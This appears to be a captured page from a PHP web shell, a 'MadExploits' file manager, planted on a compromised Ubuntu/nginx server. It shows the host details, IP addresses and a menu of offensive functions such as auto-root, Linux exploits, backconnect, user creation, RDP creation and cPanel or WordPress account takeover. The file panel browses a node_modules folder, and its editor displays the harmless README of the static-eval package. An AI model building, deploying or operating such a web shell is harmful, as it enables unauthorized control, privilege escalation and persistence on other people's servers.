Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
static-eval /
[ HOME SHELL ]
Name
Size
Permission
Action
example
[ DIR ]
dr-xr-xr-x
node_modules
[ DIR ]
dr-xr-xr-x
test
[ DIR ]
dr-xr-xr-x
.travis.yml
48
B
-rw-rw-rw-
LICENSE
1.05
KB
-rw-rw-rw-
index.js
6.29
KB
-rw-rw-rw-
package.json
926
B
-rw-rw-rw-
readme.markdown
1.96
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.markdown
# static-eval evaluate statically-analyzable expressions [](https://ci.testling.com/substack/static-eval) [](http://travis-ci.org/substack/static-eval) # security static-eval is like `eval`. It is intended for use in build scripts and code transformations, doing some evaluation at build timeāit is **NOT** suitable for handling arbitrary untrusted user input. Malicious user input _can_ execute arbitrary code. # example ``` js var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var ast = parse(src).body[0].expression; console.log(evaluate(ast)); ``` If you stick to simple expressions, the result is statically analyzable: ``` $ node '7*8+9' 65 $ node eval.js '[1,2,3+4*5-(5*11)]' [ 1, 2, -32 ] ``` but if you use statements, undeclared identifiers, or syntax, the result is no longer statically analyzable and `evaluate()` returns `undefined`: ``` $ node eval.js '1+2+3*n' undefined $ node eval.js 'x=5; x*2' undefined $ node eval.js '5-4*3' -7 ``` You can also declare variables and functions to use in the static evaluation: ``` js var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = '[1,2,3+4*10+n,foo(3+5),obj[""+"x"].y]'; var ast = parse(src).body[0].expression; console.log(evaluate(ast, { n: 6, foo: function (x) { return x * 100 }, obj: { x: { y: 555 } } })); ``` # methods ``` js var evaluate = require('static-eval'); ``` ## evaluate(ast, vars={}) Evaluate the [esprima](https://npmjs.org/package/esprima)-parsed abstract syntax tree object `ast` with an optional collection of variables `vars` to use in the static expression resolution. If the expression contained in `ast` can't be statically resolved, `evaluate()` returns undefined. # install With [npm](https://npmjs.org) do: ``` npm install static-eval ``` # license MIT
Close